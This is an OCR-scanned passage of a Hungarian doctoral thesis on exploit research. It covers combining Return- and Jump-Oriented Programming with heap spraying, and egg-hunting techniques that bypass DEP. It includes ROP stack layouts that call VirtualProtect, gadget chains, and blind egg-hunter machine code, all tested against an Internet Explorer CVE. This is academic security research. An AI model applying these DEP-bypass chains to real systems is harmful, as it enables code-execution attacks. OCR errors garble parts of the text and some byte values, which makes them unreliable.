Programming szoftverhiba kiaknézasi technika €s a heap spray payload elhelyezési technika
kombinalhatosagat. Mindkét kombindcid vizsgalatandl azt tapasztaltam, hogy a modszerek
egyesitése technikailag lehetséges és a modszerek szamos elényds tulajdonsaga megjelenik a
kifejlesztett 11j szoftverhiba kiaknazasi modszerekben. A modern memoriakorrupcios
tamadasok heap spray moddszerrel torténd payload-elhelyezésével kapcsolatban

eredményeimet a masodik tézisben fogalmaztam meg:

2. a, Megvizsgaltam a Return Oriented Programming (ROP) memdria korrupcios
kiaknazasi technika és a heap spray payload elhelyezési technika kombinalhatésagat, és
a két modszer egyiittes hasznalataval egy hatékonyan alkalmazhato aj tamadasi
technikat dolgoztam ki. A kidolgozott technika azzal jellemezheté, hogy a payloadot a
memoriakorrupcié6 kiaknazasa elott helyezi el a memoridban és képes az
adatvégrehajtas elleni védelem megkeriilésére. Meghatiaroztam az egyiittes hasznalat
feltételeit, elonyeit és hatranyait. "Proof of concept" jellegi tamado koéddal
bizonyitottam a ROP és heap spray technika kombinacidjanak helyes miitkodést.

2. b, Megvizsgiltam a Jump Oriented Programming (JOP) memdria Kkorrupcios
kiaknazasi technika és a heap spray payload elhelyezési technika kombinalhatosagat és
a két modszer egyiittes hasznalataval egy hatékonyan alkalmazhato j tamadasi
technikat dolgoztam Kki. A kidolgozott technika azzal jellemezhet6, hogy az elozetes
payload elhelyezés és az adatvégrehajtas elleni védelem megkeriilésén til a ROP ellen
kidolgozott védelmek megkeriilésére is alkalmas. Meghataroztam az egyiittes hasznalat
feltételeit, elonyeit és hatranyait. "Proof of concept" jellegi tamado koéddal

bizonyitottam a JOP és heap spray technika kombinacidojanak helyes miikodést.
Kapcsolodo publikaciok:

Erdodi L, Applying Return Oriented and Jump Oriented Programming Exploitation
Techniques  with  heap  spraying, Acta  Polytechnica  Hungarica (accepted)
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6. Return Oriented Programming egg-hunting

Ebben a fejezetben a Return Oriented Programming memoria korrupcid kiakndzasi technika
¢s az egg hunting payloadkeresési technika Ilehetséges kombinacidival kapcsolatos

kutatdsaimat mutatom be.

Az egg hunting modszert altalaban akkor hasznaljak, amikor a tamado kod elhelyezésére csak
korlatozott hely all rendelkezésre. Tételezziik fel, hogy a tdmadé a szoftverhiba kihasznalasa
sordn csupan egy rendkiviil kis nagysadgu helyre tud irni. Ez a feltételezés azért is életszerd,
mert sok esetben valoban korlatos a rendelkezésre all6 hely nagysaga, kiilondsen akkor fordul
ez eld, amikor a stacken torténik a feliiliras. Egy korlatozott nagysagu helyre a tdmadd nem
tud tetszdleges funkcidju payloadot elhelyezni, mivel az nem fér el oda. Eléfordulhat, hogy a

rendelkezésre all6 hely annyira kicsi, hogy még a legegyszeriibb payload sem fér ebbe bele.

Az egg hunting sordn a tamad6 a memorikorrupcid kiaknézésa elétt elhelyezi a memoriaban
(nem a memoriakorrupcidé helyén) a kivant hosszusagu tamaddé kodot. Ez a tdmado kod
keriilhet egy tomb egy elemébe vagy egy string valtozoba, stb. A kiakndzas sordn a
programfutasat erre a cimre kell irdnyitani, de ehhez persze ismerni kell azt a virtualis
memoria cimet, ahova a payload keriilt. Ez normal koériilmények kozott nem lehetséges, mivel
a payload a heap vagy a stack valamely részébe keriil, de ennek pontos cime nem ismert,
mivel futdsidében torténik a memoriafoglalas. Az egg hunting soran a feliilirt korlatozott
nagysagu futtathaté memoriarészre egy olyan kddsorozat keriil, amely a memoriat végignézve
megkeresi az eldzetesen elhelyezett payloadot, majd a futast ide iranyitja. Az egg hunting
kodsorozat a payloadot ugy keresi meg, hogy egy mintazatot keres a memoridban, amely a
payload legelejét jelzi. Ez a jelzéérték az egg. A klasszikus egg hunting soran tehat a payload
a memoriakorrupcid kihasznalasa el6tt keriil a memoria egy a korrupcidt nem érint6 részére, a

feliilirt teriiletre pedig egy payloadkeresési rovid kddsorozat kertil.

A szakirodalomban szdmos megvaldsitas és Osszefoglald talalhato. Az elsé komoly

Osszefoglald 2004-bdl szarmazik [57]. Egy egg-hunter kodra 3 feltételt fogalmaz meg:

e Robusztusnak kell lennie, tehat a memoriat olyan mddon kell végignéznie, hogy az

érvénytelen memoriarészek vizsgalata se vezessen az egg-hunter leallasahoz
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e Rovidnek kell lennie, hogy beférjen a rendelkezésre allo kis nagysagu feliilirhato
memoriarészbe
e Gyorsnak kell lennie, hogy a nagyméretli virtualis memoria végignézése se tartson
sokaig
Harom megvalositas keriilt bemutatasra linuxos és windowos operacids rendszerekre is. A
megoldasok kozotti kiillonbséget alapvetden az képezi, hogy az egg-hunter miként védekezik a
nem olvashaté memoriacimek olvasasa kozben fellépd hiba ellen (elsé feltétel). Mivel az egg-
hunter a memoria egy jelentds részét végignézi sorban, ezért ha egy nem olvashato
memoriarészhez érkezik, akkor az ellenérzés nélkiilli memoriaolvasas a tamadd kod
ledllasdhoz vezethet. A windowsra készitett megoldasok koziil a legrévidebb minddssze 24

byte (6.1 tablazat).

Megoldas Hossz

SEH Injekcio 60 byte
IsBadReadPtr 37 byte
NtDisplayString 24 byte

6.1. Tablazat Egg hunter megoldésok hosszai Windowsra [57] alapjan

A Corelean team exploit ir6 tutorialja [58] részletesen bemutatja a fenti megoldasok
gyakorlati hasznalhatdsadgat. Az egg hunting modszernek létezik egy ugynevezett "omlette
egg" megvalodsitasa [59] is. Ebben az esetben a payload részekre van bontva olyan médon,
hogy mindegyik elé bekertil egy egg és néhany tovabbi informaciot tartalmazo érték. Az egg-
hunter kod nem csupan egy részt keres igy a memoridban, hanem a payload 6sszes darabjat
megkeresi és sorrendben lefuttatja. Elénye ennek a megoldasnak az, hogy nem sziikséges
nagyobb 0Osszefiiggd memoriateriilet a payload elhelyezésére. [60] egy példan keresztiil
mutatja be az "omlett egg" megoldast. Az "egg-sandwich" egg-hunter megoldast [61] az
érvénytelen payloadok kisziirésére talaltak ki. Abban az esetben, ha a tényleges payload
mégsem keriil be a memoariaba teljes hosszaban (valamely nem varhaté mellékhatds miatt),
ugy az exploit végrehajtas a szoftver ledllasdhoz vezethet. Az egg-sandwich megoldas
alapotlete az, hogy az egg jelzdértéket nem csak a tényleges payload elejére, hanem annak
végére is bekeriil. A payload elején 1évé egg mogé bekeriill még a payload hossza, igy a
végrehajtas megkezdése el6tt ellendrizhetd, hogy a payload végén taldlhato egg érték is jelen

van-e a memoridban. Amennyiben a nyit6é egg megtalalhato, de a zar6 egg mar nem keriilt be
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az adott memoriarészbe, ugy feltételezhetd, hogy a payload sem keriilt be teljes hosszban az
adott helyre igy annak futtatdsa a szoftver leallasdhoz vezetne. Ebben az esetben az egg-
hunter nem irdnyitja a vezérlést a csonka payloadra, hanem helyette inkabb masik payload

példanyt keres.

Az Osszes bemutatott megoldasnak egy nagyon fontos jellemzdje, hogy az egg hunting
kodnak futtathatonak kell lennie. Abban az esetben, ha a stacket a memorialap futtatasi
védelem (DEP windowson) védi, ugy ezek a megoldasok nem fognak miikodni. A kutatas
soran azt vizsgaltam, hogyan valdsithatdé meg az egg hunting memorialap futasi védelem
esetén. A szakirodalomban 0sszesen egy forras talalhato, amelynél az egg-hunter és a DEP
egylittes vizsgalhatosagat targyaljak [62]. A bemutatott megoldas alapdtlete az, hogy a
memorialap futtatdsi védelemmodosité metddusok segitségével futtathatova kell tenni az egg-
hunter kodot. A DEP kikapcsolasdra szamos metodushivas ismert. Amennyiben a DEP
védelem az egg-hunternél keriil kikapcsolasra, ugy az egg-hunter ugyanugy le fog futni,
mintha barmely més payload keriilt volna oda. A f6 problémat azonban az jelenti, hogy az
egg-hunter futdsa utan, a tényleges payloadon is alkalmazni kell a DEP modositast. [62]-ban
egy Metesploitra késziilt megoldas taldlhatd, amely soran a VirtualProtect metodust kétszer
hajtja végre, eldszor az egg-hunter futtathatova tétele miatt, majd a tényleges payload futasa
miatt ismét. A memorialap futas elleni védelem kikapcsoldsatol eltekintve a szakirodalomban
mas megoldast nem taldltam a problémara. A szakirodalomban taldlhatd egg-hunter
megoldasok nagyon nagy aranyban 32 bites kodokkal késziiltek. Talalhatoak megoldasok 64
bites operacios rendszerekre alkalmazott altalanos egg-hunter megoldasokra is [63], a
megoldasi moédszerekben ezek azonban nem jelentenek 1ényeges kiilonbséget. Az egg-hunter

kutatassal kapcsolatos eredményeimet ezért én is 32 bites kddokkal szemléltetem.

A hagyomdnyos egg-hunter megoldasok hosszat jelentésen megndveli az, hogy minden
memoriaolvasas elott ellendrizni kell az adott memoriarészt hozzaférés szempontjabol, mivel
ha ez nem torténik meg, ugy egy nem olvashaté memoriacim leéllitja az egg-hunter futasat.
Beszélhetiink ugyanakkor ugynevezett "blind egg-hunter" megoldasokrol, amelyek soran
ilyen ellendrzés nem torténik. Ezekben az esetekben feltételezziik, hogy a keresés kezdeti
cime ¢és a tényleges payload kozott minden memoriarészhez van olvasasi jogosultsag. Az
ilyen egg-hunterek 1ényegesen rovidebbek is lehetnek, akar 9 byte hosszu kdddal megoldhatd
a cimek sorban torténd végignézése [69]. Hasznalhatosdg szempontjabol nyilvanvaléan tobb

korlat van egy hagyoméanyos megoldashoz képest, ugyanakkor sok esetben elképzelhetd, hogy
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a heap egy adott cime nagy valdszintiséggel megmondhato. A tényleges payload pontos helye
ugyan nem ismert a heapen beliil, de az el6zetes memoriafoglalasok miatt, a blind egg-hunter

nem okozza a kddvégrehajtas leallasat nem olvashatd memoria-rész miatt.

A vizsgalataim soran harom lehetséges modszert elemeztem. A mddszereket elséként elméleti
megvalosithatosag szempontjabdl vizsgaltam és Osszehasonlitottam ket az ismert egg
hunting megoldasokkal ¢s egymadssal. Ezek utdn a gyakorlati megvalosithatésag szempontbol
is megvizsgaltam Oket a CVE-2008-0038 Internet Explorer sériilékenységen keresztiil. A
harom kiilonb6z0 moddszer koziil kettd sajat megoldasi otlet. Az elsé vizsgalt megoldas
trivialis, mivel memorialap futasi védelem esetén nagyon gyakran kezdik a hibakiaknézast a
memorialap futdsi védelem kikapcsoldsaval. Ez a megoldés 1ényegében megegyezik a [62]-
ban taldlhatoval. Ezen megoldés vizsgalata a masik két megoldéssal torténd Gsszehasonlitas

miatt sziikséges. A vizsgalt harom megoldas az alabbi:

1. A memorialap futas elleni védelem kikapcsoldsa majd a hagyomanyos egg hunting kodok
futtatasa [62] megoldashoz hasonloan.

2. ROP technikdval a hagyomanyos egg hunting kod vagy egy részének egy irhatd és
futtathatd memorirészbe helyezése majd végrehajtasa

3. Egg hunting technika tisztin ROP technikaval feltétel kiértékeléssel és ciklussal

6.1. Egg hunting kiaknazas a memdrialap futas elleni védelmének

kikapcsolasaval

A memorialap futas elleni védelmét Windowsos operacios rendszereken az alabbi Windows

API metddusokkal van lehetdség kikapcsolni illetve megkeriilni [64]:

e SetProcessDEPPolicy (csak Vista spl-ig van jelen a windows apiban)

o VirtualAlloc (ezzel egy 1j végrehajthatd memoriarészt lehet 1étrehozni, igy valamely
memoriamasold metodussal pl. memcpy a payloadot még ide kell masolni)

o HeapCreate (ezzel egy futtathatdé heap rész hozhaté 1étre, de az el6z6h6z hasonloan

még memcpy is sziikséges)

83



o WriteProcessMemory (ezzel bemasolhatd a payload egy irhaté és végrehajthatod
memoriateriiletre)
e VirtualProtect (egy adott memoriarész DEP védelme modosithatd kozvetleniil, igy ez

az egyik legegyszeriibb €s legkdnnyebb megoldas)

A kikapcsolds megvalodsithatd Return to Libc vagy ROP technikéval is. Mindkét esetben
tobbféle modon elképzelhetd a megvalositas. Amennyiben a kivant API cime ismert, gy
ROP-pal két egyszerii gadgettal megvaldsithatd a memorialap futds elleni védelmének
kikapcsolasa. Elegendd csupan az adott metodus cimét egy regiszterbe helyezni az elsd
gadgettal, a masodikkal pedig meghivni a regiszetert mint egy metddiuscimet. Az alabbi stack

elrendezés a kernel32.dll Virtual Protect metdduséaval torténd megvalositast szemlélteti:

pop esi gadget cime

VirtualProtect cime

call esi gadeget cime

VirtualProtect elsé paramétere (cim, ahol a valtozas végrehajtodik)

VirtualProtect mésodik paramétere (memoria mérete, ahol a valtozast végre kell hajtani)
Virtual Protect harmadik paramétere (memorialap 0j védelme 0x40 write-execute)

VirtualProtect negyedik paramétere (tetszoleges irhat6 memoriacim)

A call esi retn utasitdskombinécid viszonylag gyakorinak szamit a futtathato alloményokban,
igy az esi regiszter segitségével indithatd el legegyszerlibben a memorialap védelem
modositasat végrehajtd metddust. Az alkalmazott VirtualProtect kernel32.dll metddus 4
paramétert igényel, igy ezeket egymas utan a stackre kell helyezni, emellett az esi regisztert
beallitdé pop esi gadget cime és a call esi gadget cime is ide keriil. Abban az esetben, ha a
memoriakorrupcid soran egy c stilusu stringgel torténik a feliiliras gy fontos feltétel, hogy a
string nem tartalmazhat 0 byte-ot, mivel ez a string végét jelzi. A VirtualProtect harmadik
paramétere (Ox00000040) harom nulla byte-ot is tartalmaz, ezért az elézOekben emlitett
esetben a kiakndzashoz tovabbi Iépések lennének sziikségesek, amelyek jelentOsen

megndvelik az egg-hunter hosszat.

A memorialap futasi védelmének kikapcsoldsa utdn a tamadonak gondoskodnia kell a
tényleges egg-hunter kéd lefutasardl, igy tehat vissza kell iranyitania a kod futésat a stackre.

Ehhez hasznalhato pl. egy klasszikus jmp esp utasitas. Tovabb noveli az egg-hunter hosszat az
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is, ha a biztonsag javara nop-sledek keriilnek az egg-hunter kod elé. A memorialap futas elleni
védelmének megkeriilésére az egg-hunter-es kiaknazas stack elrendezése az alabbi forméban

kell, hogy kinézzen egy 4ltalanos esetben:

Relativ stack cim Erték Magyarazat

0x00 A pop esi gadget cime Betolti esi-be a
Virtual Protect cimét

0x04 A VirtualProtect cime

0x08 A call esi gadget cime Végrehajtja a VirtualProtect-
et

0x0c Paraméter 1 (IpAddress) A stack cime, ahol az egg-
hunter van (nop sled legeleje)

0x10 Paraméter 2 (dwSize) Egg hunter + nopsled hossza

0x14 Paraméter 3 (fINewProtect) 0x40 (WriteExecute)

0x18 Paraméter 4 (IpflOldProtect) | Tetszdleges irhato
memoriacim

Ox1lc A jmp esp gadget cime A végrehajthatova tett stack
részre iranyitja a
kodvégrehajtast

0x20 Nop sled

0x20 + nop sled hossz Klasszikus egg-hunter

0x24 + nop sled hossz Klasszikus egg-hunter

0x28 + nop sled hossz Klasszikus egg-hunter

6.2 Tablazat DEP kikapcsolés stack elrendezése

Elméletben tehat az igy létrehozott egg-hunter payload kikapcsolja a memorialap futdsi
védelmet és végrehajtja a tényleges payload keresését. Az igy 1étrehozott egg-hunter kod DEP
kikapcsold részének a hossza 28 byte. Amennyiben a DEP kikapcsold rész utan egy
klasszikus egg-hunter kod keriil, ugy kb. kétszeres hosszal lehet szdmolni (DEP kikapcsolas
28 byte + NtDisplayString megoldas 24 byte = 52 byte). Abban az esetben ha blind egg-
hunter keriil a DEP kikapcsol6 rész mogé ugy ez egg-hunter Iényegesen rovidebb 28 byte +
10 byte = 38 byte lehet. Ez mintegy haromszorosa a DEP nélkiili blind-egghunter

megoldasnak.
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Ezek a megoldasok a két-haromszoros méret miatt sem nevezheték nagynak és képesek a
modern operacids rendszerekben szinte kotelezden jelen 1évé memorialap futds elleni
védelmét megkeriilni. Gyakorlatban azonban tovabbi két problémaval kell még szembenézni:
¢ Amennyiben memoéria cimtér randomizalds (ASLR) van, ugy sem a VirtualProtect
sem mas memorialap futasi védelmét valtoztatdé API cime nem ismert, igy ezeket
kozvetleniil nem lehet az egg-hunter kodba tenni
e Az egg megtaldldsa nem jelenti feltétleniil annak futtathatosagat is. Mivel a
memoriakorrupcid altal érintett részen memorialap futdsvédelmet feltételeztem, nincs

ok azt feltételezni, hogy a tényleges payload helyén nem ugyanez lesz a helyzet.

Az els6 problémara a korabban is emlitésre keriil ASLR megkeriilési modszerek jelenthetnek
megoldast. Lényegesen egyszerlsiti a helyzetet, ha a memoriakorrupcié sordn a virtudlis
memoridban talalhatd olyan ASLR-rel nem védhetd kodszegmens, amely tartalmaz olyan
kodrészt, amely kozvetleniil hivja meg valamely memoria futdsvédelem modositasra alkalmas
metodust. ASLR-rel egy kdédszegmens akkor nem védhetd, ha a benne 1évo kod nem pozicid
fliggetlen, igy mindig csak egy adott helyre tolthetd be a virtudlis memoridban. Abban a
szerencsés esetben, ha taldlhatd a virtudlis memoridban egy nem randomizélhat6 helyi call

Virtual Protect metddushivas, ugy a fenti stack elrendezés is modosul:

call VirtualProtect 4lland6 cime (4byte)

VirtualProtect paraméterek (4*4byte, lasd el6z6 tablazat)
Jjmp esp cime (4 byte)

nopsled

klasszikus egg-hunter

A fenti megoldas DEP kikapcsold része minddssze 24 byte. Amennyiben nem talalhato ilyen
metodushivas cimtér randomizalassal nem védett teriileten, ugy a header informéciokbdl is
kinyerhet6 a VirtualProtect aktualis helye, de ez egy lényegesen Osszetettebb feladat és ROP-

pal nehezen kivitelezhetd.

Az egg-hunter kod sikeres futtathatova tétele utdn még egy problémat kell elharitani. Hidba
taldlja meg az egg-hunter a tényleges payloadot, a memorialap futasvédelem miatt
valoszinilileg ez sem lesz futtathatd. Ennek a problémanak a kikiiszobolésére két megoldast

taldltam. Amennyiben a memorialap futdsvédelem modositd metodus kétszer hajtom végre
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(eloszor az egg-hunter futdsahoz, masodszor a tényleges payload futasdhoz [62]) ugy le tud
futni a tényleges payload. Ehhez az kell, hogy amint az egg-hunter megtalalja a tényleges
payloadot, tigy a tényleges payload cimével ezen memoriarész védelmét is modositsa. Ez a
megoldas azért koriilményes, mert a masodik VirtualProtect metddushivas I[pAddress
paramétere csak az egg-hunter lefutdsa utan valik ismerté, igy ezt a payload futasa kézben kell
a stackre helyezni. Szintén megoldast jelenthet az 5.-ik fejezetben bemutatott megoldas,
amely soran a payload valdjdban egy ROP program, igy csupan a stacket kell atéallitani és a
memorialap futasvédelme ezt nem befolydsolja. Ennek a megolddsnak nyilvanvaldéan az a
hatranya, hogy egyrészt a ROP payload sokkal hosszabb, mésrészt a rendelkezésre allo

gadgetek erdsen befolyasolhatjak a tetszéleges kartékony kod végrehajtast.

Gyakorlati szempontbol mind a két VirtualProtect-es mind a ROP payloados megoldast is
megvizsgaltam a CVE-2008-0038 sériilékenységen keresztiil. A helyes miikodést "Proof of

Concept" exploitokkal bizonyitottam.

A kétszeri VirtualProtectes hivas esetén a stackre keriild kod 104 byte hosszusagu lett (28
byte els¢ Virtual Protect meghivasa + 24 byte egg keresés + 20 byte megtalalt payload
cimének elhelyezése a stacken + 28 byte masodik Virtual Protect hivas + 4 byte payloadra

iranyitas)

Az egyszeri VirtualProtect hivas, de ROP payload esetén a stackre keriild payload hossza
mindossze 56 byte (28 byte Virtual Protect hivas + 24 byte egg keresés + 4 byte stack
athelyezése a ROP payload helyére), de a tényleges payload lényegesen hosszabb. Ez utobbi
jellemzonek nincs jelentdsége, mivel a heap-en rendelkezésre all a sziikséges hely, a korlatot
inkabb az jelenti, hogy a tényleges payload-ot tisztan ROP-pal kell megalkotni, ami
bonyolultta teszi azt és szamos korlatot jelenthet, ha nem all rendelkezésre egy sziikséges

gadget a virtudlis memoriaban.

6.2. Egg hunting elhelyezés ROP-pal, majd végrehajtas

A masodik vizsgalt mdédszer egy olyan megoldas, amely sordn a ROP szerepe annyi, hogy
bemasolja a klasszikus egg-hunter kodot egy irhatd és végrehajthatd memoriatertiletre. Ez a

megoldéas nyilvanvaléan csak akkor alkalmazhat6, ha létezik a virtudlis memoridban ilyen
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DEP-pel nem védett memoriarész. Amennyiben nem létezik ilyen memoriateriilet, gy az elsd
megoldasba visszavezetve megoldhatdo igy a tdmado kod futtatdsa, hogy ezt az irhato-
futtathato részt is a tdmadas sordn hozzuk létre. Ebben az alfejezetben viszont kifejezetten
olyan megoldéasokat vizsgalok, amelyek nem Windows API metdédushivasokon alapulnak.
Ennek akkor van jelentdsége, ha az ASLR miatt a hasznos Windows API metodusok cimei
nem ismertek, de van egy olyan nem randomizalt kodszegmens, amely alap gadgetokat (pl.

pop eax, pop ecx, mov [eax], ecx, stb.) tartalmaz.

A leirt kezdeti feltételekhez kétféle megoldast fogok vizsgalni: eldszor a klasszikus egg-
hunterek futtatdsdnak lehetdségét elemzem, majd megvizsgalom a blind egg-hunterek

futtathatosagat is.

6.2.1. Klasszikus egg-hunter futtatas ROP-pal torténoé masolassal

Ezen megoldéassal azt a lehetOséget vizsgalom, amikor egy klasszikus egg-hunter kod
masolésa torténik egy irhatd és végrehajthato memoriateriiletre, korlatozottan elérhet6 ROP
gadgetekkel. A bemutatott megoldashoz Osszesen az sziikséges, hogy rendelkezésre alljanak
olyan gadgetek, amelyekkel egy tetszéleges memoriateriiltre tetszOleges adat irhatd. Ilyen

miiveletre pl. az alabbi gadget sorozatok lehetnek alkalmasak:

pop eax, pop ecx, mov [eax], ecx
hossz: 20 byte (32bit-es architektiran)
pop eax; mov ecx, [eax],; pop eax;, mov [eax], ecx

hossz: 24 byte

Mindkét megoldasnal egy 4 byte hosszusagu adat masolddik egy adott helyrdl egy masikra.
Az elé megoldas 20 byte nagysagl, a masodik 24 byte helyet igényel. Az els6 megoldast
figyelembe véve az egg-hunter payload 6tszorose lesz a hagyomanyos megoldasénak, mivel 4
byte-ot 20 byte-tal lehet mésolni. Lehet ennél révidebb megoldasokat is 1étrehozni, ha pl. a
payload 1j helyének a cime csak egyszer keriil beallitasra és mivel a mésolas egymas utani
cimekre keriil, igy a pop eax helyett, egy add eax, Ox4 gadget keriil végrehajtdsra minden

1épésben:

kezdeti gadgetek: pop eax,; pop ebx
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1smétl6dd masold gadgetek: add eax, ebx, pop ecx; mov [eax], ecx

hossz:16 byte kezdeti + 16 byte 4 byteonként

Tovabbi lehetéség hogy duplaszd nagysagu értékéket masolunk egy movsd gadgettel,

amennyiben rendelkezésre all ilyen gadget:

pop esi; pop edi; movsd
hossz: 20 byte

A legkedvezdbb eset pedig az, ha rep movsd gadget is rendelkezésre all, mert igy az

ismétlések szama is megadhato:

pop esi,; pop edi; pop ecx; rep movsd

hossz: 28 byte

Vizsgaltam egy olyan esetet is, amikor nem all rendelkezésre a legkedvezObbnek vélt rep

movsd gadget, viszont ezt a ROP végrehajtas kezdetekor szintén beirom a memoriaba:

pop eax; pop ecx, mov [eax], ecx; pop esi; pop edi,; pop ecx, rep movsd

hossz: 48 byte

Az alabbi tablazat a vizsgalt megoldasokat foglalja 6ssze a hozza tartozé egg-hunter payload

hosszakkal egyiitt:

Payload masolas modja

Példa

Hossz

Ismétl6do pop-pop-mov | Pop eax; eax; pop ecx; ecx; | 4 byte elhelyezése 20 byte-tal
gadgetokkal mov [eax],ecx

Ismétlédo add-pop-mov | Add eax, ebx, pop ecx,; ecx, | 4 byte elhelyezés 16 byte-tal
gadgetokkal mov [eax], ecx + kezdeti 16 byte

Ismétlodé  pop-pop-movsd | Pop esi; esi; pop edi; edi, | 4 byte elhelyezése 20 byte-tal
gadgetokkal movsd

Pop-pop-pop-rep movsd Pop ecx; ecx; pop esi; esi; | 28 byte

gadgetsorozattal

pop edi; edi; rep movsd
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Rep movsd gadget készitéssel | Pop eax, eax; pop ecx, ecx; | 48 byte
mov [eax],ecx; pop ecx, ecx;
pop esi; esi; pop edi; edi; rep

movsd

6.3. Tablazat Egg-hunter hosszak kiilonb6z0 megvalositdsanak hosszai a klasszikus egg-

hunter ROP-pal torténd bemasolasahoz.

A 6.4 tablazat azt mutatja, hogy az NtDisplayString egg-hunter megoldas (24 byte) hany byte

hossztisaggal valosithaté meg 32bites operacids rendszereken.

Payload masolas modja Hossz
Ismétlddo pop-pop-mov gadgetokkal 120 byte
Ismétl6do add-pop-mov gadgetokkal 112 byte
Ismétlddo pop-pop-movsd gadgetokkal 120 byte
Rep movsd gadgettal 28 byte
Rep movsd gadget készitéssel 48 byte

6.4. Tablazat NtDisplayString egg-hunter megoldas megvalositasa DEP védelem esetén

payloadmasolassal
Az utols6 megoldas gyakorlati megvaldsitasat részletesen is bemutatom.
A bemutatott megoldasok soran nem lett figyelembe véve, hogy szdmos esetben a kdzvetlen
payload nem tartalmazhat nulla byte-ot. Ezekben az esetekben (A CVE-2008-0038 nem ilyen)
tovabbi segédgadgetek lehetnek sziikségesek.
6.2.2. Blind egg-hunter futtatas ROP-pal torténo masolassal
Blind egg-hunterre a 6.2.1 fejezetben bemutatott megolddsok nyilvanvaléan mind
hasznalhatok. A kiilonbség annyi lesz, hogy a blind egg-hunter hossza minddssze 10-12 byte,

igy elegend6 harom movsd utasitas is annak bemésolasara:

pop esi; pop edi; movsd
hossz: 20*3 = 60 byte
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Szintén szamitasba johet egy olyan megoldas, amikor egy repne scasd és egy jmp edi gadget

kertil elhelyezésre egy irhatd és olvashaté memoriateriiletre.

A blind egg-hunter kéd eredetileg az alabbi:

0: 89 7
2:b8 454747 21
7: f2 af
9: ffe7

mov edi, kezddcim
mov eax, O0x21474745 ; "EGG!”
repne scasd

Jjmp edi

A keresési kezd6cim bedllitasa a legegyszerlibben egy pop edi gadgettel tehetd meg.

Ugyanigy az egg érték beallitasat egy pop eax gadget hajtja végre. A repne scasd €s a jmp edi

utasitasokat egy pop-pop-mov gadgetsorozattal helyezem el. A leirt megoldashoz a stack

elrendezését az alabbi tablazat foglalja Ossze:

A stack relativ cime

Erték

0x0

pop eax gadget cime

0x4 memoriacim ahova a repne scasd gadget kertil

0x8 pop ecx gadget cime

Oxc F2AFFFE7 érték (ez a gépi kodja a repne scasd jmp edi
utasitassorozatnak x86-on)

0x10 mov eax, [ecx] gadget cime

0x14 pop edi gadget cime

0x18 a keresési kezd6cim értéke

Oxlc pop eax gadget cime

0x20 az egg értéke

0x24 a memoriacim ahova a repne scasd gadget kertilt

6.5. Tablazat Egg-hunter megoldas repne scasd + jmp edi gadget elhelyezéssel

A blind egg-hunter megoldas tehat 36 byte hossziisaga ROP programmal volt megoldhato

kutatdsom szerint.
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A memorialap futds védelem megkeriilése céljabol vizsgalt egg hunter megoldasoknal ebben
az alfejezetben egy olyan megoldast vizsgédltam, amely sordn a futas elleni védelem
megkeriilése nem a hagyomdnyos modon annak kikapcsoldsaval torténik (pl. Windowson a
DEP kikapcsolassal), ehelyett az egg hunting kodot egy ROP programmal egy irhato és
végrehajthatd memoriateriiletre mésoltam és ezen a helyen futtattam. A vizsgalt megoldasok
elemzésekor azt tapasztaltam, hogy a klasszikus egg-hunter megoldds memorialap
futdsvédelem melletti végrehajtasahoz a legjobb esetben 28 byte-tal lehetséges, de ehhez az
sziikséges, hogy rendelkezésre alljon egy repne movsd gadget a virtudlis memoriaban.

Amennyiben ilyen nincs, ugy a legrovidebb megoldasom 48 byte hosszusagu volt.

Az tugynevezett blind egg hunting technika memorialap védelem megkeriilése céljabol

kialakitott ROP programom hossza 36 byte hosszisagu lett.

A memorialap védelem megkeriilését egg hunting technikdval az ebben az alfejezetben
bemutatott modszerrel még nem vizsgaltdk. A megalkotott megoldasok rovidek és jol

mukodnek melyeket egy 1étezd Internet Explorer sériilékenységen keresztiil is kiprobaltam.

6.3. Egg hunting tisztan ROP-pal

Ebben az alfejezetben az egg hunting payloadkeresési technika és a Return Oriented
Programming tdmadd kod végrehajtas egy olyan lehetdségét elemzem, amely soran nem
hasznalom fel, igy nem épitek arra, hogy:

e amemorialap futasvédelem kikapcsolhatd beépitett API hivasokkal

e létezik olyan rész a virtualis memoridban, amely irhato és végrehajthato

Az elso feltételezés azért aktualis, mert a memoriacimtér randomizalas (ASLR) egyre jobban
miikodo €és gyakoribb védekezés a modern operacios rendszereknél. Az ASLR miikodése azt
is jelenti, hogy nem feltétleniil ismert azoknak az API-ban meglévé metodusok cimei,
amelyek képesek a memorialap futdsvédelmét megvaltoztatni. Természetesen mindig
keriilnek napvilagra ujabb ¢és wjabb technikak, amely az ASLR megkeriilését célozzak,
ugyanakkor ezek hasznalhatésaga nem minden esetben teljesiil, emellett az ASLR védelem

hatékonysagat folyamatosan javitjak.
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A masodik feltételezés foként a 6.2 alfejezetben bemutatott megoldasokat zarja ki.
Napjainkban viszonylag gyakran el6fordul, hogy vannak olyan részek a virtualis memoriaban,
amelyekre nem lehet hasznélni a futas elleni védelmet. Ezek szdma azonban folyamatosan
csokken, igy ésszerli a célkitlizés egy olyan egg-hunter megoldas megalkotésara, amely nem
modositja a virtualis memoria semelyik részének a memorialap futdsvédelmét €s nem épit

arra, hogy talalhat6 a virtudlis memoriaban egy irhat6 és végrehajthaté memoriarész.

Ezek feltételezésével az egyediili megoldas egy olyan egg-hunter ROP payload lehet, amely
képes arra, hogy tisztan ROP modszerrel végignézze a virtudlis memoria egy adott részét a
payload elejét jelez6 egg értéket keresve. Mindezek megvalositdsdhoz a ROP programnak az

alabbiakat kell végrehajtani:

e bedllitani a keresés kezd6cimét

e bedllitani az egg értékét

o Osszehasonlitani a keresés aktualis helyén 1€v0 értéket az egg értékkel

e kiértékelni az 6sszehasonlitast €s amennyiben nem egyezik a két érték, tigy a keresés
helyét valtoztatni

e amennyiben az Osszehasonlitas sordn az egg értéke megegyezik az aktualisan vizsgalt

memoriarész értékével Ggy az adott helyre irdnyitani a kodvégrehajtast

A egg hunting technika és a Return Oriented Programming kiaknazas kombindciojat

szemlélteti a 6.1. abra

A Return Oriented Programing bizonyitottan Turing teljes [65], igy elméletben nem lehet
akadalya a fenti program végrehajtdsanak. Ugyanakkor a végrehajthatésagot erdsen
befolyésolja a rendelkezésre 4ll6 gadgetek szama. A szakirodalomban efajta - megitélésem
szerint hasznos ¢és sziikséges - egg hunter megoldast még nem vizsgaltak, mindezek miatt a
kutatdsom soran két megoldasi modszert vizsgaltam. Az elsé megoldas sordn feltételeztem,
hogy tetszdleges szamu ¢és tartalmu gadget all rendelkezésre €s igy a legroviddebb ROP egg-
hunter megoldast kerestem. A masodik vizsgalt megoldasom soran a CVE-2008-0038
sériilékenységen keresztiil probaltam egy ROP egg-hunter kodot végrehajtani az alfejezet

elején megfogalmazott feltételeket figyelembe véve.
